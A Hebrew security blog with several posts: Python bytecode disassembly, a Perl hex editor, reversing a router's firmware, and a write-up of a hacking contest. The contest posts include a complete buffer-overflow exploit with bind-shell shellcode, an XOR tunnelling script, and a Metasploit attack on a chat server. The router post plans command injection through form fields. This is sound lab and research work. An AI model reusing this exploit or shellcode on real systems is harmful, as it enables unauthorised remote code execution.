Tag: Reversing
Reversing Python Bytecode
by Fate on ינו.06, 2011, under כללי
מבוא
מתחיל להיות נפוץ נושא השימוש בשפות סקריפט לכתיבת קבצי EXE.
במיוחד בחברות Outsourcing שכל המטרה שלהן לכתוב מהר וקל.
אחרי שהחברה מסיימת לכתוב, מביאה מוצר, צריך להבין מה לעזאזל הם עשו שם.
Reversing קלאסי לקובץ EXE שהוא בעצם Py2EXE, לא כלכך עובד.
אז מה עושים?
מודול Dis
מחיפושים באינטרנט דבר ראשון שנתקלתי בו,
זה שיש מודול מובנה בPython להצגת הBytecode בצורה יותר ברורה, ושמו Dis.
http://docs.python.org/library/dis.html
הוא יודע לקבל code object, ולפתוח אותו למשהו קצת יותר קריא.
זה לא נותן את המקור, אבל זה מפתיע כמה זה קרוב.
בואו ננסה:
def test(): a = 5 b = 6 if a == 5: b = 7 return bעכשיו נפרק את זה בעזרת Dis
>>> import dis >>> dis.dis(test.func_code) 2 0 LOAD_CONST 1 (5) 3 STORE_FAST 0 (a) 3 6 LOAD_CONST 2 (6) 9 STORE_FAST 1 (b) 4 12 LOAD_FAST 0 (a) 15 LOAD_CONST 1 (5) 18 COMPARE_OP 2 (==) 21 JUMP_IF_FALSE 10 (to 34) 24 POP_TOP 5 25 LOAD_CONST 3 (7) 28 STORE_FAST 1 (b) 31 JUMP_FORWARD 1 (to 35) >> 34 POP_TOP 6 >> 35 LOAD_FAST 1 (b) 38 RETURN_VALUEזה מדהים עד כמה זה מדוייק, כולל שמות משתנים והכל.
המספר הראשון זה מספר השורה בקוד מקור…
המספר שמופיע לפני כל מילה זה מספר הByte
המילה, זה הפעולה (לדוגמה LOAD_CONST)
המספר אחריה זה פרמטר, ובסוגריים זה הפיכת הפרמטר למשהו משמעותי אם אפשר.נעבור לפי הסדר, ונראה כמה קל זה לבנות חזרה את הקוד:
שורה 2, LOAD_CONST טוען קבוע למחסנית, הקבוע הוא באינדקס 1, אבל הערך שלו הוא 5.
ואז STORE_FAST שומר את הערך מהמחסנית לתוך המשתנה באינדקס 0, ששמו a.
מה כל פעולה עושה מתועד היטב בקישור למודול DIS, ומה שנשאר זה להבין שהפקודה היא:a = 5שורה 3, אותו דבר, נעבור לשורה 4.
טוענים את a למחסנית, טוענים 5, ועושים COMPARE_OP עם ==.
הפעולה משווה בין השניים האחרונים במחסנית במחזירה את התשובה למחסנית.
עד כה יש לנו a == 5.
JUMP_IF_FALSE בודק את הערך האחרון במחסנית, ואם הוא FALSE קובץ לByte 34.
POP_TOP שולף את הערך האחרון במחסנית.
אז אם נרצה לשחזר את זה, צריך להבין שבמקרה שהערך הוא שקר, הוא מדלג _מעל_ קטע הקוד הבא, ז"א אם נרצה לרשום את זה רצוף, אז במקרה של אמת, הוא נכנס לקטע קוד, אז התנאי נראה כך:if a == 5: #... continue here ... #... if false jump to here ...ואפשר להמשיך כך הלאה עד שבונים מחדש את הפונקצייה…
py2exe
הייצור שקוראים לו py2exe אורז את סקריפט הPython, כל ספריות, וכל דבר שצריך כדי להריץ אותן, לתוך EXE אחד.
והוא עוזה את זה בצורה הבאה:
כל הDLLים, וכל הספריות שעושים להן Import, הוא מקמפל לBytecode, ושם בZIP, בתוך הEXE.
ניתן לחלץ אותו ממש בקלות ע"י 7Zip שמאתר אותו, ופשוט נותן להוציא מתוכו קבצים.
עכשיו צריך, רק למצוא את הסקריפט הראשי.
הוא נשמר כResource בEXE, אפשר בקלות לשלוף אותו עם Visual Studio.
פותחים EXE עם התוכנה, והוא מציג את כל הResources, אחד מהם זה הקוד המקומפל.רק משהו קטן
קובץ .pyc משוייך לPython שאיתו בנו אותו, וזה לא סתם, כי הBytecode משתנה.
כל הקבצים שנמצאים בZIP ניתן לעשות להן import כל עוד הגרסה של הפייטון תואמת,
ואחרי זה אפשר להריץ dis.dis על המודול כולו. (אפשר גם על פונקציות בנפרד).
עם הResource העניין קצת יותר בעייתי, כי הוא לא בדיוק Library, אלא Marshalled, בעזרת מודול marshal.
בשימוש במודול אפשר לשלוף את הCode Object הראשי, וממנו למצוא כל Code Object אחר, ולהעביר אותו לDIS גם כן.פרויקט
חשבתי לעשות Python Decompiler,
זה מתחיל להיות קשה כשמגיעים לתנאים מסובכים, ולולאות עם תנאים מסובכים בתוכן.
אני חושב שזה אפשרי לחזור לקוד מקור בצורה אוטומטית, מה דעתכם?
(יש כמה נסיונות לDecompiler באינארנט, לא ראיתי אחד נורמלי…)
אתגר Hacking של Offensive Security – שלב שני
by Fate on יול.06, 2010, under כללי
מה היה לנו
- קיבלתי Root על 192.168.6.200
- מצאתי עליו קובץ mosquito.exe
http://www.filesonic.com/file/2125504394/mosquito.exe
מי שרוצה לנסות קצת בעצמו מוזמן להוריד את הקובץ אליו, ולהפסיק לקרוא כאן.
mosquito
בוא ננחש מה עושה הקובץ לפי הImports שלו.
משתמש בסוקטים, וקצת Threads פה ושם, חוץ מזה כל מיני דברים מציקים כמו IsDebuggerPresent.
אז אם נריץ אותו, והוא מאזין על פורט, נוכל בקלות לראות איזה.
הרצתי אותו, קפץ הFirewall ואומר שהוא מנסה להאזין על 4597, אישרתי לו.
טוב, ננסה להתחבר אליו עם Netcat ולראות אם הוא זורק לנו משהו למסך.
nc -nvv 127.0.0.1 4597
קופץ הFirewall, ואומר לי שהmosquito.exe מנסה ליצור חיבור ל127.0.0.1 לפורט 1080…. מאיפה זה בא??
החלטתי שלפני שאני קופץ פנימה לתוך הקוד, אני מרים Netcat מאזין מקומי, על פורט 1080, ורואה מה הולך שם.
nc -nvvLp 1080
מריץ את הייתוש מחדש, מתחבר אליו, רואה שהוא מתחבר לnetcat השני, וכלום לא קורה…
שולח קצת טקסט, לא קורה כלום…..
טוב, בדיקה אחרונה לפני שצוללים לקוד, האם הוא פותח חיבור תמיד ל127.0.0.1? או שזה חיבור חזרה למי שניסה להתחבר אליו?
נבדק בצורה פשוטה ע"י מכונה שהיא לא מקומית, כתובת P) אחרת שמנסה להתחבר לMosquito, ואיזה יופי, הFirewall אומר שהוא עדיין מנסה להוציא חיבור ל127.0.0.1 למרות שהחיבור הגיע מכתובת אחרת.
צוללים לקוד
פותח IDA חזרה, מאתר את המקום שבו יש קריאה לrecv.
מריץ Netcat מקומי מאזין על 1080.
פותח ollydbg, מציב breakpoint על הRecv.
פותח Netcat נוסף ומתחבר לmosquito שמריץ הollydbg.
קופץ הBreakpoint, אני שולח איזה שטות בNetcat, ומתחיל לעקוב אחרי זה בקוד בollydbg שורה שורה.
אני לא הולך לפרט את כל התהליך, אבל זה המסקנות שהגעתי אליהן אחרי כמה ריצות:
- כל חבילה שמתקבלת עוברת איזה "הצפנה" פשוטה… XOR עם הערך 4.
- נבדק האם האם הכתובת המקומית של השרת היא 192.168.6.141
- המידע נשלח לסוקט השני ששמחובר מקומית לפורט 1080
אז מה עכשיו
- חיפוש חולשות בקוד עצמו ובטיפול של הBuffer מהנקודה שהתקבל ועד שנשלח הלאה.
לא מצאתי חולשות רגילות של Buffer Overflow
- אולי זה לא אתגר ניצול חולשה, אלא צופן\Reverse? אולי צריך לשלוח מחרוזת מיוחדת כך שאחרי ההצפנה זה יהיה איזה מפתח.
נזכרתי בטקסט שהיה רשום באתר של Mosquito, עם התמונה, היה כתוב "bRAin suck3r".
בגלל איך שזה היה כתוב, חשבתי שזאת המחרוזת שמי שזה לא יהיה בפורט 1080 צריך לקבל.
כתבתי סקריפט שמקסר עם 4 ושולח לכתובת שאני מבקש, הרצתי, ולא קיבלתי תשובה.
- רגעעעעע, הדבר הזה בכלל מחזיר תשובות מאותו שירות שרץ על 1080?
בבדיקה מקומית (שליחה בNetcat המאזין על 1080) מתקבל אותו זבל "מוצפן" בNetcat המתחבר.
- אז אם זה הצפנה דו כיוונית, אולי זה פרוקסי טיפש מול שירות רגיל כלשהו?
מה רץ בדרך כלל על 1080? HTTP…
שיניתי את הסקריפט כך שישלח בקשת GET מקוסרת ב4, ויציג לי תשובה אם יש.
קיבלתי הרבה הרבה זבל חזרה.
הוספתי גם קיסור ב4 על התשובה, וקבילתי דף HTML.
- אז הדבר הזה הוא פרוקסי לשרת WEB
כדי שאני אוכל לגלוש אליו בחופשיות שיפרתי את הסקריפט שלי כך שיעביר מידע בשני הכיוונים, ויתמוך ביותר מחיבור אחד במקביל.
הרצתי אותו, ועכשיו אני יכול לגלוש בדפדפן ל127.0.0.1 לפורט שאני אבחר, ולראות מה מסתתר שם בשירות שרץ על 1080.
הסקריפט:
#!/usr/bin/python # import socket import sys import thread def tunnel_data(sock1,sock2): try: data = sock1.recv(0xffff) while data: ndata = "" for i in data: ndata += chr(ord(i) ^ 4) sock2.sendall(ndata) data = sock1.recv(0xffff) sock2.close() except Exception,e: print e sock1.close() sock2.close() def main(ip,lport): global MSG lsock = socket.socket() lsock.bind(("0.0.0.0",lport)) lsock.listen(1) while True: cli = lsock.accept()[0] rsock = socket.socket() rsock.connect((ip,4597)) thread.start_new_thread(tunnel_data,(cli,rsock)) thread.start_new_thread(tunnel_data,(rsock,cli)) main(sys.argv[1],long(sys.argv[2]))האתר
נפתח חלון של איזה תוכנת צ'אט, שקוראים לה Easy Chat Server.
בנוי בAJAX, ומעוצב בצורה שמאד מסכנת את הפיצה שאכלתי לא מזמן.התחלתי לשחק איתו, לחפש SQL Injections, לחפש בעיות הרשאות, לנחש סיסמה של המנהל של הערוץ.
שזה לא היה קשה, הסיסמה של המנהל admin הייתה admin, אבל זה לא נתן לי כלום.
טוב, אולי זה שרת מוכר באינטרנט, אולי יש לו חולשות.
איזה יופי שבדף תוצאות הראשון אני מוצא את הקישור הבא:
http://www.metasploit.com/modules/exploit/windows/http/efs_easychatserver_usernameפריצה מעל פרוקסי מצפין
הפעלתי Metasploit הגדרתי את הפרצה שתנסה לפרוץ לי את הפרוקסי המקומי, ותשתמש בMeterpreter שמתחבר חזרה אלי ישירות.
הרצתי את הפרצה, ואחרי כמה ניסיונות כושלים, זה עבד!!
קיבלתי Shell על השרת 192.168.6.141.
בדיקה מהירה גילתה שאני משתמש חסר הרשאות, שאין לו גישה לDesktop של הAdministrator.
וGetSystem של Meterpreter לא עזר.
מערכת ההפעלה היא Windows 2003 SP2.נסיונות לעלות הרשאות
ציינתי כבר שכל 30 דקות המכונות עוברות Revert?
האם אמרתי עד כמה מעצבן זה כשאתה מנסה למצוא איך לעלות הרשאות במכונה שיש לך גישה אליה?
הייתי צריך לפרוץ מחדש את המכונה כל פעם שאיבדתי גישה בגלל הRevert.
אבל מספיק לבכות, כאן זה הזמן לאמר שלעלות הרשאות במכונה לא הצלחתי באותן 10 שעות שהיה לי לאתגר הזה.
דברים שניסיתי:
- מציאת חולשות Privilege Escalation ידועות למערכת ההפעלה, לא הלך, המכונה כנראה Fully Patched
- מציאת Services שרצים כSystem לבדוק אם אפשר להחליף להם את הEXE ולעשות להפיל אחד מהם שיעלה מחדש, היה שם שרת VOIP שרץ כSystem ומאד קרץ לי, אבל שרף את רוב הזמן.
- חיפוש קבצים זרוקים במערכת שיש לי גישה "בטעות" אליהם ויש שם סיסמה או משהו שיעזור
אתם מוזמנים להציע עוד דרכים…
אני לא אוכל להגיד אם זה היה עובד או לא, האתגר נסגר, אבל אני כן יכול לפרסם את הדרך שאחת הקבוצות האחרות מצאה, אחרי שתכתבו כמה רעיונות משלכם….
אתגר Hacking של Offensive Security – שלב ראשון
by Fate on יונ.26, 2010, under כללי
קצת על האתגר
האתגר התחיל ב19 ליוני בשבת, ונמשך 48 שעות.
המארגנים של האתגר הקימו 5 מכונות וירטואליות (Virtual Machines) שיושבות על שרת אצלהם.
ולכל מי שנרשם נתנו שם משתמש וסיסמה בשביל גישת VPN.
ברגע שמתחברים מקבלים כתובת IP בC Class שעליו יושבים השרתים.
מטרת האתגר:
- תוך 48 שעות, לפרוץ 5 מחשבים
- להשיג מהלינוקסים שבהם את התוכן של proof.txt שיושב ב /root
- ומהוינדווסים להשיג את התוכן של proof.txt שיושב בDesktop של המנהל (Administrator)
- כל מחשב שווה 20 נקודות, הראשון שמגיע ל100 ניצח, הפרס היה כרטיסים לBlackhat.
- כל מכונה עוברת Revert כל 30 דקות כדי שאם מישהו הרס אותה לאחר, או לעצמו תהיה לו עוד הזדמנות.
קישור לאתר של האתגר, עם עוד קצת הסברים:
http://www.information-security-training.com/events/let-the-games-begin-again
לי יצא לעבוד על זה בערך 10 שעות.
סריקה ראשונית
מרים בBacktrack 4 מחבר אותו לVPN ומקבל כתובת 172.16.6.90
מריץ NMap על ה255 מחשבים שאיתי ברשת, ומוצא 5 שרתים.
- 200 – פתוח פורט 80
- 141 – פתוח פורט 80 וכמה פורטים של SIP
- 115 – פתוח שרת SQL
- 140 – פורט 80 פתוח וכמה שהם filtered
- 150 – ענה לי פעם על פורט כלשהו ונעלם
מעבר מהיר על המחשבים
- 141 – מציג אתר עם תמונה של יתוש אנושי כזה, עם הטקסט bRAin suck3r מתחת
- 140 – מציג חתול שנראה כאילו מסתיר את הביצים שלו ומופתע וכתוב OMG!!! Knock First!!!
- 115 – שרת SQL שאין לי משתמש אליו
- 200 – מציג תיקייה עם 2 קבצים Vuln.c ו Vuln בינארי.
- 150 – לא התעסקתי איתו
הכי מעניין והכי ברור מכל המחשבים האלה היה לדעתי 200, שהיה עליו קוד C ובינארי של משהו.
Vuln
בשרת 200 היו 2 קבצים, הנה הם להורדה, מי שרוצה לראות:
http://www.filesonic.com/file/2125504824/vuln.rar
הקבצים היו בינארי של לינוקס, וקוד מקור שלו בC.
מעבר על המקור מגלה את השורות הבאות:
#define LISTENPORT 7500 ... //now fill in the fields we need my_addr.sin_family = AF_INET; my_addr.sin_port = htons(LISTENPORT); my_addr.sin_addr.s_addr = htonl(INADDR_ANY); //bind our socket to the port if (bind(sock,(struct sockaddr *)&my_addr, ...)){ perror("bind"); exit(1); } //start listening for incoming connections if (listen(sock,BACKLOG) == -1) { perror("listen"); exit(1); }הקוד מאזין על פורט 7500.
מפעיל NMap שוב וסורק את המחשבים, מקבל 7500 פתוח על אותו המחשב שלקחתי ממנו את הקבצים (200).
אז הבינארי הזה רץ על השרת הזה.
בואו נראה אם יש חולשה בבינארי (גם השם שלו מרמז).
שורות מעניינות:char reply[1024]; ... recv(conn, reply, 1024, 0); handle_reply(reply); ... int handle_reply(char *str) { char response[256]; strcpy(response,str); printf("Your message is \"%s\"\n",response); return 0; }התוכנה מקבלת באפר בגודל 1024, מעבירה אותו לפונקצייה שמעתיקה אותו בצורה לא בטוחה לבאפר בגודל 256.
Buffer Overflow קלאסי, על המחסנית, זה אומר שאפשר להריץ קוד.
עוד קטע שקופץ לעיניים בקוד:int jmp(void){ __asm__("jmp %esp"); return 0; }הם אפילו נתנו לי את המקפצה בתוך הקוד עצמו, אין צורך לחפש שנים משהו גנרי שקיים גם בלינוקס אחר וכל זה.
ניצול חולשה
שלב ראשון, אני מעביר לBacktrack שלי את הVuln, מריץ, מתקשר איתו בודק שהוא מגיב כמו שאמור להגיב.
אחרי זה מריץ אותו מחדש עם gdb, ומכין סרקריפט Python שמפציץ אותו ב1000 תווים של A.
מקבל כצפוי Segmentation Fault על ניסיון להריץ 0x41414141 שזה "AAAA".
מסתכל על המיקום הנוכחי במחסנית, מסתכל אחרורה ורואה שהבאפר מתחיל 268 תווים אחורה.
חוזר לסקריפט, מתקן את הבאפר ככה שישלח 268 אותיות A, ואחרי זה 0xDEADBEEF, ואחרי זה עוד איזה 30 אותיות B.
מריץ מחדש את הקובץ עם gdb, מריץ סקריפט, ומרוצה מאד מהתוצאה, הוא קורס על ניסיון הרצה של 0xDEADBEEF.
שלב הבא, איפה המקפצה שלנו, אנחנו צריכים jmp esp, כמה יפה מצידת שהם שמו את זה בקוד, זה אומר שרוב הסיכויים שהכתובת לא תזוז אם מריצים את הקובץ בלינוקס דומה.
מסתכל על הקוד בIDA, ורואה שהכתובת של JMP ESP, היא: 0x0804866A
מעדכן את הסקריפט, מוסיף במקום הB הראשון, את הקוד של int3 (מי שלא יודע זה 0xcc).
מריץ מחדש את התוכנה הפגיעה עם הדבאגר מחובר, תוקף אותו עם הסקריפט, ומקבל SIGTRAP, כשהו מנסה להריץ את INT3.
קיבלתי Code Execution.
נכנס לmetasploit.com מוריד את הBind Shell הראשון שאני רואה, משלב אותו במקום ה0xCC.SHELLCODE = ("\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd" "\x80\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89" "\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd" "\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49" "\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" "\x50\x53\x89\xe1\xb0\x0b\xcd\x80")מוסיף כמה שורות לפייטון כדי לאפשר החלפת פורט מאזין שיפתח שלא יהיה 4444, (\x11\x5c)
עושה בדיקה מקומית על התוכנה שמריץ אצלי, הפירצה מצליחה, ופותחת פורט להאזנה, התחברות Netcat נותנת לי גישה.
אז הנה הExploit שכתבתי כדי לפרוץ את התוכנה הזאת:#!/usr/bin/python # # exploit.py <ip> <port> # # import socket import sys import time import struct JMP_ESP_ADDR = 0x0804866A SHELLCODE = ("\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd" "\x80\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89" "\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd" "\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49" "\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" "\x50\x53\x89\xe1\xb0\x0b\xcd\x80") def main(ip,port): global SHELLCODE global JMP_ESP_ADDR so = socket.socket() so.connect((ip,7500)) greet = so.recv(1024) SHELLCODE = SHELLCODE[:21]+struct.pack("!H",port)+SHELLCODE[23:] buff = "A" * 268 + struct.pack("L",JMP_ESP_ADDR) + SHELLCODE so.sendall(buff) time.sleep(5) so.close() main(sys.argv[1],long(sys.argv[2]))מריץ את האקספלויט על השרת 6.200, ואחרי זה מתחבר לפורט שנפתח עם Netcat.
מה יש בשרת
נראה כאילו התחברתי כRoot, אין צורך לעלות הרשאות! 🙂
נכנס לתיקיית הבית של root, מוצא שם את proof.txt, מציג את התוכן שלו, מעתיק את הHash.
רואה עוד קובץ מעניין, mosquito.exe, מוריד אותו בעזרת Netcat.
הולך לאתר של האתגר, מכניס את הHash, זוכה ב20 נקודות!בפוסט הבא
מה זה mosquito.exe?
האם הוא נותן רמז לשרת עם הזבוב בתמונה?
ולמה כלכך מעט אנשים הצליחו 2 מחשבים כלכך מאוחר לתוך האתגר??
Hexodus v0.4
by Exodus on אוג.26, 2009, under כללי
מהו Hexodus:
הקסודוס הוא פרוייקט יחסית ישן שנכתב לפני כשנה וחצי וזהו בעצם Hex Editor
שנכתב בשפת פרל ותוכנן בשלבים מתקדמים יותר להפוך ל-Disassmebler עם תמיכה
בקבצי ELF אך קיום קיימת רק תמיכה לקבצי PE(מבחינת ההדר של הקובץ)
עם זאת הקסודוס נכתב בצורה שקל להוסיף לו פונקציונליות מכוון שכל פקודה ב-shell היא בעצם
פונקציה אשר נקראת ע"י הפונקציה הראשית(main()) .
פונקציונאליות:
טעינת קובץ:
C:\Code\perl\Hexodus-v0.4>Hexodus-v0.4.pl demo.exe
>Loading the file demo.exe
<
קבלת מידע אודות פקודות:
help<
Hexodus v0.4, type 'help <command>' for command specifications
list help reload exit exec
edit load undo clear find
save info redo converto history
<
הדגמת פקודות ליסטינג, עריכה וחיפוש:
>list CBD0 48
0000CBD0: 43 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 C…….☺…….
0000CBE0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
0000CBF0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
0000CC00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
>edit CBD0 CD 21
> bytes C replaced with ═!
>list CBD0 48
0000CBD0: CD 21 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ═!……☺…….
0000CBE0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
0000CBF0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
0000CC00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
>find CD 21
00000047: CD 21 B8 01 4C CD 21 54 68 69 73 20 70 72 6F 67 ═!╕☺L═!This prog
0000004C: CD 21 54 68 69 73 20 70 72 6F 67 72 61 6D 20 63 ═!This program c
0000CBD0: CD 21 00 00 00 00 00 00 01 00 00 00 00 00 00 00
כשיהיה לי קצת יותר זמן אני מתכנן:
- לשכתב אותו כ- Object Oriented
- להוסיף אופציה להפעלה עם ממשק גרפי Tk
- להוסיף תמיכה להדר של ELF
בכל אופן עד אז את קוד המקור של הקסודוס ניתן להוריד מכאן: http://www.blackhat.org.il/Hexodus-v0.4.zip
Reversing, והכוח של זה
by Fate on אפר.08, 2009, under כללי
בהמשך לפרק הקודם, היום אני הולך להראות לכם מה מצאתי במערכת הקבצים של הFirmware הבינארי שהורדתי מהאינטרנט.
דבר ראשון נתחיל מהאתר וקבצי הASP שלו, שאני יכול לגלוש אליהם כמובן דרך ממשק הניהול.
ממשק הWeb
רשימת הקבצים שמצאתי נמצאת כאן בתמונה.
דברים מעניינים שקופצים ישר לעין:
- x.asp
נראה כאילו הוא אמור להציג סיסמה כלשהיא, ננסה להכנס לדף ישירות דרך הנתב:
http://192.168.2.1/x.asp
ומקבלים לא רק את הסיסמה שלי להתחברות לנתב, אלא גם את הסיסמה של איזשהו משתמש super.
מה?! אתם בטח צוחקים עלי….
ניסיתי להתחבר לממשק עם המשתמש super, והסיסמה שיש שם, אבל זה לא נתן לי להתחבר, צריך עוד לראות איפה משתמשים בזה.
(ד"א הסיסמה מצונזרת בכוונה)
- test.asp
לא נראה מעניין יתר מדי,
נראה כמו חלק מהממשק הוספת שיתוף בNAS.
- users
קובץ שמכיל את הרשימה הבאה:
User1 User2 user3 user4 user5 user6 user7 user8 user9האל יודע למה, בינתיים לא מצאתי לזה שימוש או הגיון.
- flash.asp
נראה כאילו זה הדף שדרכו אחרי זה עושים flash לחומרה, לפחות כאן אני יכול לראות מה הגרסת Firmware שלי.
שזה 2.15, קצת יותר ישן מהכי חדש שהורדתי מהאינטרנט (2.21), ז"א לפני שאני משחק עם זה בהתבסס על 2.21 צריך לעדכן את הנתב שלי.
- getflash.asp
מביא קצת יותר פרטים, נותן את הMacים והRegulation Domain (מישהו יודע מה זה?)
אצלי זה עומד על ETST 1-13(Europe)
- debug.asp
נראה ממש מעניין, מכיל טופס של פקודה command וכפתור apply.
משחקים עם הטופס לא הניבו כלום, הוא כל פעם כותב Invalid value of command.
מה שעוד יותר מוזר זה שאני לא רואה בסורס של debug.asp איפה כל הלוגיקה של מה שקורה אחרי שעושים Submit.
מבדיקה של הטופס עולה כי הוא שולח את זה למקום לא ברור, וגם לא קיים פיזית:
<form action=/goform/formDebug method=POST name="debug"> . . </form>מה זה goform?? מאיפה זה בא?
http://home.postech.ac.kr/~sion/cs499a/webserver/web/over/goforms.htm
מצוין, זה אומר שהטופס הזה מקומפל בתור קוד C לתוך השרת web שלנו.
מצד אחד זה טוב, קוד C בדרך כלל לא כלכך אמין.
מצד שני זה רע, אני אצטרך לעשות Reversing לשרת כדי לראות מה הולך מאחורי כל סקריפט.Reversing webs
טוב, אז ניקח את הבינארי של השרת Web, ונראה מה אנחנו יכולים לשלוף ממנו.
לפי מה שהבנתי מהתיעוד, כדי לרשום טופס חדש צריך לקרוא לwebFormDefine.
בואו נראה אם אנחנו יכולים לראות מי קורא לזה ועם איזה פרמטרים.
כמובן שזה מקומפל בלי Symbols, אז זה לא יהיה כזה פשוט, אפשר לנסות לגשת מצד אחר,
כדי לרשום טופס צריך להביא את השם שלו בתור מחרוזת, ז"א אם נוציא את השם של הטופס מתוך debug.asp
אז נוכל למצוא את המקום בקוד שרושם אותו.
השם של הטופס זה formDebug.
מגיעים לפונקצייה שהוא רושם, מסמנים אותה כפוקנצייה שמטפלת בformDebug, ומסתכלים מה היא עושה.
נראה כאילו הפונקצייה בודקת שהפקודה זה "report.txt", ואז מייצרת לוג של הרבה מאד פקודות מערכת, ונותנת אותו להורדה.
כמובן ה"נראה כאילו" לקח כמה זמן להבין, אני לא הולך להציג כאן את כל הקוד, זה פשוט הרבה אסמבלי.
בכל מקרה בדיקה של התיאוריה מול הנתב באמת אישרה את זה, רשמתי בפקודה report.txt, וקיבלתי קובץ להורדה עם מלא מידע.
כל ההגדרות רשת, ההגדרות נתב, כל המידע השותף שמשתנה בזמן הניהול, הוא זרק לי אותו בRaw Text.
נקודה מעניינת שראיתי, שהוא קורא הרבה ל_system בקוד שלו.המשך עבודה
- מה הוא עושה עם הסיסמא של super?
- למצוא עוד דברים מעניינים בממשק Web.
- למצוא קריאה ל_system שמקבלת מחרוזת שמורכבת מפרמטרים שאני מביא בקלט של הטפסים, כדי לאפשר לי הרצת פקודות ע"י שרשור פקודות לינוקס לפרמטרים בממשק Web.
- מי שרוצה מוזמן להוריד את דפי הASP והבינארי של שרת הWEB מכאן: http://www.filesonic.com/file/2125608961/Edimax.Web.2.21.zip
אשמח לתגובות, רעיונות או כל דבר אחר שיש לכם להגיד…
מסע אל בטן הנתב
by Fate on מרץ.22, 2009, under כללי
יש התקדמות!
אני אשתדל לקצר כי יש ממש הרבה דברים שעשיתי, ואני מקווה שהקיצור לא יפגע בעניין והבנה של אנשים,
אם יש שאלות תמיד אפשר לשאות בתגובות, או בערוץ IRC.
בחרתי להשתמש בSlax 6.0.9 כדי לקמפל את הFirmware.
קימפול הסורס מהאתר של Edimax
הוראות פשוטות, פותחים את הtgz, נכנסים פנימה, לתוך תיקיית toolchain, ופותחים את הtgz שם לתוך "/" כך שישתלב במערכת.
מוחקים את build.tmp מהתיקיית מקור, ומריצים את NAS-BUILD.
כמובן ששום דבר לא פועל ישר בלינוקס, וצריך להתעסק עם כל החרא הזה.
אז נתחיל…
דבר ראשון אחרי הסתכלות בNAS-BUILD הבנתי שהוא עושה סוג של Clean וConfigure אם הוא לא מוצא את build.tmp.
עד כאן טוב ויפה חוץ מהעובדה שאפילו בזה הוא נכשל…
הוא נופל לי על זה שהוא לא מוצא את הפקודה rcsclean, ששייכת לחבילת ניהול קוד או משהו כזה.
טוב לא נורא, מורידים את slackpkg מתוך הRepository של Slackware, ומתקינים עם pkgtool שכבר יש בSlax.
אחרי הגדרת slackpkg שכלל בחירת Mirror, והורדה והתקנה של gnupg, ועדכון המפתח gpg שלו, אפשר להתקין את מה שאנחנו צריכים.
slackpkg update slackpkg install gnupg slackpkg update gpg slackpkg install rcs
מוחקים את build.tmp שוב ומריצים NAS-BUILD.
הפעם נראה שהוא עשה מה שצריך.
עכשיו נשאר רק לבנות, מריצים את NAS-BUILD שוב, הוא שואל אותנו גרסה וכל זה, אנחנו משאירים הכל רגיל.
עכשיו אני לא הולך לפרט את כל השואה שעברתי כדי לגרום לזה להתקמפל, אני רק הולך לכתוב את זה בסעיפים, ואיפה התיקונים שעשיתי.
- busybox-1.00-pre2 לא מתקמפל
צריך להכנס לתיקייה שלו בתוך AP ולערוך את .config ולשנות את CONFIG_LFS=y לCONFIG_LFS=n.
- busybox-1.1.0 לא מתקמפל
אותו דבר כמו הקודם, רק הפעם צריך להפוך לn גם את FDISK_SUPPORT_LARGE_DISKS.
- dosfstools-2.11 לא מתקמפל
צריך לערוך את Makefile בתיקייה שלו בתוך AP/dosfstools-2.11 ולהוריד את התוספת של OFFSET_BITS=64 (כל הערך החל מ-D)
- libpcap-0.7.2 לא מתקמפל
צריך להתקין את bison ואת flex בעזרת slackpkg
- ppp-2.4.1 לא מתקמפל, צועק על pcap_parse
צריך ללכת לתיקייה של AP/libpcap-0.7.2 לערוך את הMakefile כך שהשורות שמכילות את lex ואת yacc יכלו את הערכים הבאים:
LEX = lex -Ppcap_ YACC = yacc -p pcap_
- vsftpd-2.0.4 לא מתקמפל
צריך לערוך את הקוד מקוד שנמצא בAP/vsftpd-2.0.4/sysutil.c
ולעשות Comment-Out לקוד שמגדיר את הDefines בקבוצה של OFFSET_BITS=64…
יש! זה התקמפל!!!! (אצלי לפחות)
ובנה את הImage שיושב בimage/NAS_Router/NAS-1.21.bin.
רגע…… 1.21??? הבינארי מהאינטרנט מהאתר של Edimax שזה 2.21, והוא גם יותר גדול.
כלבים, המקור לא מעודכן,
עד כאן!!
Reversing של הBinary של הFirmware
אחרי מעבר על כל NAS-BUILD וכל הסקריפטים שהוא משתמש בהם,
הבנתי שהFirmware מורכב מKernel ומהRoot File System שמחוברים יחד באיזה פורמט לא ברור שמיוצר ע"י קובץ בינארי. (cvimg)
בואו נראה לאיפה נכנס הקרנל שייצרנו בעצמו לתוך הimg שהצלחנו ליצור.
אפשר לראות שכל הקרנל (bzImage) בשלמותו יושב בתוך הimg הסופי ומתחיל באיזה כותרת, שמכילה את הגודל שלו, ומסתיים בעוד תוספת של 4 בתים כחלק מהגודל שכתוב בגודל.
ז"א את הקרנל אנחנו יודעים איך להוציא, ניגש לעניין.
פותחים את הimg הבינארי מהאתר עם עורך Hex ושולפים מתוכו את הKernel אחרי הכותרת, ועד האורך שמצויין פחות 4 בתים.
האורך שכתוב לנו זה 00120C18.
עכשיו צריך לראות איך שולפים את המערכת קבצים, לפי הסקריפטים שמייצרים את הimg שאנחנו הצלחנו ליצור,
